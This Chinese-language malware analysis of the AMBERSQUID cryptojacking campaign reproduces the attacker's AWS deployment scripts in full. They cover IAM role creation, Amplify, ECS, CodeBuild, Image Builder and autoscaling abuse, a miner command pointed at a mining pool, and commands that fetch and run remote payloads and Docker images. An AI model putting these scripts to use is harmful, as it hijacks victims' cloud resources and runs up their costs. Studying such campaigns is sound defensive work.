AMBERSQUID 云原生挖矿恶意软件疑似与印尼黑客有关

https://hub.docker.com/u/delbidaluan
https://hub.docker.com/u/tegarhuta
https://hub.docker.com/u/rizal91
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/avriliahasanah
https://hub.docker.com/u/buenosjiji662
https://hub.docker.com/u/buenosjiji
https://hub.docker.com/u/dellaagustin582
https://hub.docker.com/u/jotishoop
https://hub.docker.com/u/krisyantii20
https://hub.docker.com/u/nainasachie
https://hub.docker.com/u/rahmadabdu0
https://hub.docker.com/u/robinrobby754
来自 Docker Hub 的恶意镜像
如果对 delbidaluan/epicx 进行深入挖掘，就可以发现攻击者用于存储 Amplify 应用程序源代码和挖矿脚本的 GitHub 账户。攻击者提供了不同版本的代码，以防止被 GitHub 搜索引擎跟踪。

#!/bin/bash

aws --version

aws configure set aws_access_key_id $ACCESS
aws configure set aws_secret_access_key $SECRET
aws configure set default.output text

git config --global user.name "GeeksforGeeks"
git config --global user.email "GFGexample@gmail.orgg"

./amplify-role.sh
./repo.sh
./jalan.sh
./update.sh
./ecs.sh
./ulang.sh

aws iam create-role --role-name AWSCodeCommit-Role --assume-role-policy-document file://amplify-role.json

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Service": "amplify.amazonaws.com"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AWSCodeCommitFullAccess

aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/CloudWatchFullAccess

aws iam attach-role-policy --role-name AWSCodeCommit-Role --policy-arn arn:aws:iam::aws:policy/AdministratorAccess-Amplify

aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name amed --policy-document file://amed.json

aws iam put-role-policy --role-name AWSCodeCommit-Role --policy-name ampad --policy-document file://ampad.json

aws iam create-role --role-name sugo-role --assume-role-policy-document file://sugo.json

aws iam attach-role-policy --role-name sugo-role --policy-arn arn:aws:iam::aws:policy/AmazonSageMakerFullAccess

{

"Version": "2012-10-17",

"Statement": [

{

"Effect": "Allow",

"Principal": {

"Service": "sagemaker.amazonaws.com"

},

"Action": "sts:AssumeRole"

}

]

}

aws iam create-role --role-name ecsTaskExecutionRole --assume-role-policy-document file://ecsTaskExecutionRole.json

aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/AmazonECS_FullAccess

aws iam attach-role-policy --role-name ecsTaskExecutionRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy

{

"Version": "2012-10-17",

"Statement": [

{

"Sid": "",

"Effect": "Allow",

"Principal": {

"Service": "ecs-tasks.amazonaws.com"

},

"Action": "sts:AssumeRole"

}

]

}

aws configure set region ca-central-1
aws codecommit create-repository --repository-name test

./code.sh

echo "selesai region ca-central-1"

cd amplify-app
rm -rf .git

git init

git add .

git commit -m "web app"

git branch -m master

git status
git config --global credential.helper '!aws codecommit credential-helper $@'

git config --global credential.UseHttpPath true
git remote remove codecommit

REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)

git remote add codecommit $REPO

git push codecommit master --force

（向右滑动，查看更多）

aws configure set region us-east-1
./sup0.sh
echo "selesai region us-east-1"

version: 1
frontend:
  phases:
    build:
      commands:
        - python3 index.py
        - ./time
artifacts:

baseDirectory: /

files:

- '**/*'

import json

import datetime

import os

import time

os.system("./start")
def handler(event, context):

data = {

'output': 'Hello World',

'timestamp': datetime.datetime.utcnow().isoformat()

}

return {'statusCode': 200,

'body': json.dumps(data),

'headers': {'Content-Type': 'application/json'}}

（向右滑动，查看更多）

nohup bash -c 'for i in {1..99999}; do ./test --disable-gpu --algorithm randomepic --pool 74.50.74.27:4416 --wallet rizal91#amplify-(echo (date +%H)) --password kiki311093m=solo -t $(nproc --all) --tls false --cpu-threads-intensity 1 --keep-alive true --log-file meta1.log; done' > program.out 2>&1 &

./SRBMiner-MULTI --multi-algorithm-job-mode 1 --disable-gpu --algorithm randomepic --pool lt.epicmine.io:3334 --tls true --wallet your_username.worker_name --password your_passwordm=pool --keepalive true

for i in {1..6500000}

do

pgrep -x test;

sleep 3;

done

REPO=$(aws codecommit get-repository --repository-name test --query 'repositoryMetadata.cloneUrlHttp'| tr -d '"' 2> /dev/null)

IAM=$(aws iam get-role --role-name AWSCodeCommit-Role --query 'Role.Arn'| tr -d '"' 2> /dev/null)

for i in {1..5}

do

aws amplify create-app --name taski --repository REPO  --platform WEB  --iam-service-role-arn $IAM --environment-variables '{"_BUILD_TIMEOUT":"480","BUILD_ENV":"prod"}' --enable-branch-auto-build  --enable-branch-auto-deletion  --no-enable-basic-auth 

--build-spec "

version: 1

frontend:

phases:

build:

commands:

- timeout 280000 python3 index.py
artifacts:

baseDirectory: /

files:

- '**/*'
" 

--enable-auto-branch-creation --auto-branch-creation-patterns '["","/**"]' --auto-branch-creation-config '{"stage": "PRODUCTION",  "enableAutoBuild": true,  "environmentVariables": {" ": " "},"enableBasicAuth": false, "enablePullRequestPreview":false}'

aws configure set region us-east-1
aws ecs create-cluster 

--cluster-name test 

--capacity-providers FARGATE FARGATE_SPOT 

--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1

sleep 10s

aws ecs create-cluster 

--cluster-name test 

--capacity-providers FARGATE FARGATE_SPOT 

--default-capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1
aws ecs register-task-definition --family test --cli-input-json file://task.json
LIFAR=$(aws service-quotas get-service-quota --service-code fargate --quota-code L-3032A538 --query 'Quota.Value')

if [ $LIFAR = "30.0" ];

then

COUNT=30

VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)

SGROUP=(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)

SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)

SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)

aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[SUBNET,SUBNET1],securityGroups=[SGROUP],assignPublicIp=ENABLED}"
else

COUNT=6

VPC=$(aws ec2 describe-vpcs --query 'Vpcs[0].VpcId'| tr -d '"' 2> /dev/null)

SGROUP=(aws ec2 describe-security-groups --filters "Name=vpc-id,Values=VPC" --query 'SecurityGroups[0].GroupId' | tr -d '"' 2> /dev/null)

SUBNET=$(aws ec2 describe-subnets --query 'Subnets[0].SubnetId' | tr -d '"' 2> /dev/null)

SUBNET1=$(aws ec2 describe-subnets --query 'Subnets[1].SubnetId' | tr -d '"' 2> /dev/null)

aws ecs create-service --cluster test --service-name test --task-definition test:1 --desired-count COUNT --capacity-provider-strategy capacityProvider=FARGATE,weight=1 capacityProvider=FARGATE_SPOT,weight=1 --platform-version LATEST --network-configuration "awsvpcConfiguration={subnets=[SUBNET,SUBNET1],securityGroups=[SGROUP],assignPublicIp=ENABLED}"

fi

（向右滑动，查看更多）

aws configure set region ap-south-1
aws codebuild create-project --name tost \
[...]

aws codebuild create-project --name tost1 \
[...]

aws codebuild create-project --name tost2 \
--source '{"type": "CODECOMMIT","location": "https://git-codecommit.ap-south-1.amazonaws.com/v1/repos/test","gitCloneDepth": 1,"gitSubmodulesConfig": {    "fetchSubmodules": false},"buildspec": "version: 0.2\nphases:\n  build:\n    commands:\n      - python3 index.py\n      - ./time","insecureSsl": false}' \
--source-version refs/heads/master \
--artifacts '{"type": "NO_ARTIFACTS"}' \
--environment '{"type": "LINUX_CONTAINER","image": "aws/codebuild/amazonlinux2-x86_64-standard:4.0","computeType": "BUILD_GENERAL1_LARGE","environmentVariables": [],"privilegedMode": false,"imagePullCredentialsType": "CODEBUILD"}' \
--service-role $ROLE_ARN \
--timeout-in-minutes 480 \
--queued-timeout-in-minutes 480 \
--logs-config '{"cloudWatchLogs": {"status": "ENABLED"},"s3Logs": {"status": "DISABLED","encryptionDisabled": false}}'


aws codebuild start-build --project-name tost1
aws codebuild start-build --project-name tost2
aws codebuild start-build --project-name tost
（向右滑动，查看更多）

Component:
    Type: AWS::ImageBuilder::Component
    Properties:
      Name: HelloWorld-ContainerImage-Component
      Platform: Linux
      Version: 1.0.0
      Description: 'This is a sample component that demonstrates defining the build, validation, and test phases for an image build lifecycle'
      ChangeDescription: 'Initial Version'
      Data: |
        name: Hello World
        description: This is hello world compocat nent doc for Linux.
        schemaVersion: 1.0
    phases:
      - name: build
        steps:
          - name: donStep
            action: ExecuteBash
            inputs:
              commands:
                - sudo yum install wget unzip -y && wget --no-check-certificate https://github.com/meuryalos/profile/releases/download/1.0.0/test.zip && sudo unzip test.zip
      - name: validate
        steps:
          - name: buildStep
            action: ExecuteBash
            inputs:
              commands:
                - sudo ./start
                - sudo timeout 48m ./time

BuildInstanceType:

Type: CommaDelimitedList

Default: "c5.xlarge,c5a.xlarge,r5.xlarge,r5a.xlarge"

{

"name": "task$i",

"description": "Builds image",

"containerRecipeArn": "$CONTAINER",

"infrastructureConfigurationArn": "$INFRA",

"distributionConfigurationArn": "$DISTRI",

"imageTestsConfiguration": {

"imageTestsEnabled": true,

"timeoutMinutes": 60

},

"schedule": {

"scheduleExpression": "cron(* 0/1 * * ?)",

"pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"

},

"status": "ENABLED"

}

（向右滑动，查看更多）

{

"name": "task8",

"description": "Builds image",

"containerRecipeArn": "arn:aws:imagebuilder:us-east-1:909030629651:container-recipe/amazonlinux2-container-recipe/1.0.0",

"infrastructureConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:infrastructure-configuration/amazonlinux2-containerimage-infrastructure-configuration",

"distributionConfigurationArn": "arn:aws:imagebuilder:us-east-1:909030629651:distribution-configuration/amazonlinux2-container-distributionconfiguration",

"imageTestsConfiguration": {

"imageTestsEnabled": true,

"timeoutMinutes": 60

},

"schedule": {

"scheduleExpression": "cron(* 0/1 * * ?)",

"pipelineExecutionStartCondition": "EXPRESSION_MATCH_ONLY"

},

"status": "ENABLED"

}

（向右滑动，查看更多）

SCRIPT="c3VkbyB5dW0gaW5zdGFsbCBkb2NrZXIgLXkgJiYgc3VkbyBzZXJ2aWNlIGRvY2tlciBzdGFydCAmJiBzdWRvIGRvY2tlciBwdWxsIGRlbGJpZGFsdWFuL2VwaWN4ICYmIHN1ZG8gZG9ja2VyIHJ1biAtZCBkZWxiaWRhbHVhbi9lcGljeA=="

AMI=$(aws ec2 describe-images --filters "Name=manifest-location,Values=amazon/amzn2-ami-kernel-5.10-hvm-2.0.20230404.0-x86_64-gp2" --query 'Images[0].ImageId'| tr -d '"' 2> /dev/null)

export AMI

aws ec2 create-launch-template 

--launch-template-name task 

--version-description task 

--launch-template-data '{"ImageId": "'AMI'","UserData": "'SCRIPT'","InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192}}}'

sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/epicx && sudo docker run -d delbidaluan/epicx

aws autoscaling create-auto-scaling-group --auto-scaling-group-name task --vpc-zone-identifier "SUBNET,SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":100,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":8,"OnDemandPercentageAboveBaseCapacity":100}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'

aws autoscaling create-auto-scaling-group --auto-scaling-group-name task1 --vpc-zone-identifier "SUBNET,SUBNET1" --cli-input-json '{"DesiredCapacityType":"units","MixedInstancesPolicy":{"LaunchTemplate":{"LaunchTemplateSpecification":{"LaunchTemplateName":"task","Version":"1"},"Overrides":[{"InstanceRequirements":{"VCpuCount":{"Min":4},"MemoryMiB":{"Min":8192},"CpuManufacturers":["intel","amd"]}}]},"InstancesDistribution":{"OnDemandPercentageAboveBaseCapacity":0,"SpotAllocationStrategy":"capacity-optimized","OnDemandBaseCapacity":0,"OnDemandPercentageAboveBaseCapacity":0}},"MinSize":8,"MaxSize":8,"DesiredCapacity":8,"DesiredCapacityType":"units"}'

sudo yum install docker -y && sudo service docker start && sudo docker pull delbidaluan/note && sudo docker run -d delbidaluan/note